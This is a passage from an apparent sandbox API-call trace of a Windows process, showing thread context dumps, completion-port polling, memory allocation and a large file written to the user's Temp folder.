[120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.890] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.890] CloseHandle (hObject=0x1b4) returned 1
	[0276.890] SwitchToThread () returned 1
	[0276.969] SwitchToThread () returned 1
	[0276.970] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1b4) returned 1
	[0276.970] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.970] GetThreadContext (in: hThread=0x1b4, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.971] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.971] CloseHandle (hObject=0x1b4) returned 1
	[0276.971] SwitchToThread () returned 1
	[0276.975] SetEvent (hEvent=0xfc) returned 1
	[0276.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9065fdc548bdf9c3b2edd03d3a191458" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9065fdc548bdf9c3b2edd03d3a191458"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0276.978] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00020fc04 | out: lpMode=0xc00020fc04) returned 0
	[0276.978] GetFileType (hFile=0x1ac) returned 0x1
	[0276.979] VirtualAlloc (lpAddress=0xc0002a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a2000
	[0276.980] WriteFile (hFile=0x1ac, lpBuffer=0xc006f22000, nNumberOfBytesToWrite=0x340875b, lpNumberOfBytesWritten=0xc00020fbec, lpOverlapped=0x0) 

Thread:
	id = 66
	os_tid = 0xfcc

	[0226.582] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70707ff750, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70707ff750*=0xf8) returned 1
	[0226.582] VirtualQuery (in: lpAddress=0x70707ff770, lpBuffer=0x70707ff770, dwLength=0x30 | out: lpBuffer=0x70707ff770*(BaseAddress=0x70707ff000, AllocationBase=0x7070600000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0226.582] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xfc
	[0226.582] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x100
	[0226.582] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0226.629] SwitchToThread () returned 1
	[0226.668] SetEvent (hEvent=0xf0) returned 1
	[0226.669] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0233.307] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0233.423] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0235.462] SetEvent (hEvent=0xf0) returned 1
	[0235.462] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0235.629] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0xea43, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 1
	[0238.474] SetEvent (hEvent=0xe4) returned 1
	[0238.474] SetEvent (hEvent=0x1a0) returned 1
	[0238.474] VirtualFree (lpAddress=0xc00049e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.475] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.515] SetEvent (hEvent=0x1a0) returned 1
	[0238.515] VirtualFree (lpAddress=0xc00049a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.515] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x25, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.563] SetEvent (hEvent=0x1a0) returned 1
	[0238.563] SetEvent (hEvent=0xf0) returned 1
	[0238.563] VirtualFree (lpAddress=0xc000498000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.564] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0xcb, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.773] SetEvent (hEvent=0xf0) returned 1
	[0238.773] SetEvent (hEvent=0x1a0) returned 1
	[0238.773] VirtualFree (lpAddress=0xc000496000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.774] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.787] SetEvent (hEvent=0x1a0) returned 1
	[0238.787] SetEvent (hEvent=0xf0) returned 1
	[0238.788] VirtualFree (lpAddress=0xc000494000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.793] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2e, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.861] SetEvent (hEvent=0xe4) returned 1
	[0238.861] SetEvent (hEvent=0xf0) returned 1
	[0238.861] VirtualFree (lpAddress=0xc000490000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.861] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.886] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x3c, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.966] SetEvent (hEvent=0x1a0) returned 1
	[0238.966] SetEvent (hEvent=0xf0) returned 1
	[0238.966] VirtualFree (lpAddress=0xc00048c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.967] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0238.996] SetEvent (hEvent=0xf0) returned 1
	[0238.996] VirtualFree (lpAddress=0xc000488000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.996] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.006] SetEvent (hEvent=0x190) returned 1
	[0239.006] VirtualFree (lpAddress=0xc000482000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.006] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.033] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1a, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.073] SetEvent (hEvent=0x1a0) returned 1
	[0239.074] SetEvent (hEvent=0x190) returned 1
	[0239.074] VirtualFree (lpAddress=0xc000432000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.074] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.085] VirtualFree (lpAddress=0xc00042e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.085] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.110] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x27, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.184] SetEvent (hEvent=0xe4) returned 1
	[0239.184] SetEvent (hEvent=0xf0) returned 1
	[0239.184] VirtualFree (lpAddress=0xc00041e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.184] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.213] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2d, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.284] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.290] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.297] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x31, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.347] SetEvent (hEvent=0xf0) returned 1
	[0239.347] SetEvent (hEvent=0xe4) returned 1
	[0239.347] VirtualFree (lpAddress=0xc000414000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.348] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x79, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.480] SetEvent (hEvent=0xf0) returned 1
	[0239.480] SetEvent (hEvent=0x1a0) returned 1
	[0239.480] VirtualFree (lpAddress=0xc000412000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.481] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x52, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.609] SetEvent (hEvent=0xf0) returned 1
	[0239.609] SetEvent (hEvent=0xe4) returned 1
	[0239.609] VirtualFree (lpAddress=0xc000410000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.609] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.641] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.646] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.651] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x4e, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.758] SetEvent (hEvent=0xe4) returned 1
	[0239.758] VirtualFree (lpAddress=0xc000404000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.758] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.861] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x11, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.884] SetEvent (hEvent=0xe4) returned 1
	[0239.884] SetEvent (hEvent=0xf0) returned 1
	[0239.884] VirtualFree (lpAddress=0xc0003de000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.884] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.901] SetEvent (hEvent=0xf0) returned 1
	[0239.901] SetEvent (hEvent=0xe4) returned 1
	[0239.901] VirtualFree (lpAddress=0xc0003da000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.901] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x35, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0239.965] SetEvent (hEvent=0xf0) returned 1
	[0239.965] VirtualFree (lpAddress=0xc0003d8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.966] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x6c, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0240.129] SetEvent (hEvent=0xe4) returned 1
	[0240.129] VirtualFree (lpAddress=0xc0003d6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.129] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0240.142] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0240.611] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0240.689] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0240.862] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.124] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.187] VirtualFree (lpAddress=0xc0003bc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.187] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.196] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.357] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.435] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.539] SetEvent (hEvent=0xf0) returned 1
	[0241.539] VirtualFree (lpAddress=0xc0003b0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.539] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.552] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.615] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.619] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0241.718] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x56, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0241.819] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.593] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.607] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.636] SetEvent (hEvent=0xf0) returned 1
	[0242.636] SwitchToThread () returned 1
	[0242.652] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.737] VirtualFree (lpAddress=0xc000686000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.738] PostQueuedCompletionStatus (CompletionPort=0x15c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1
	[0242.738] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.835] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.926] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.952] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0242.962] SetEvent (hEvent=0xe4) returned 1
	[0242.962] VirtualAlloc (lpAddress=0xc000476000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000476000
	[0242.963] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0003e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e9d94, lpOverlapped=0x0) returned 0
	[0242.963] VirtualAlloc (lpAddress=0xc000478000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000478000
	[0242.964] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0xc0003e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0003e9d94, lpOverlapped=0x0) returned 0
	[0242.964] VirtualAlloc (lpAddress=0xc00047a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00047a000
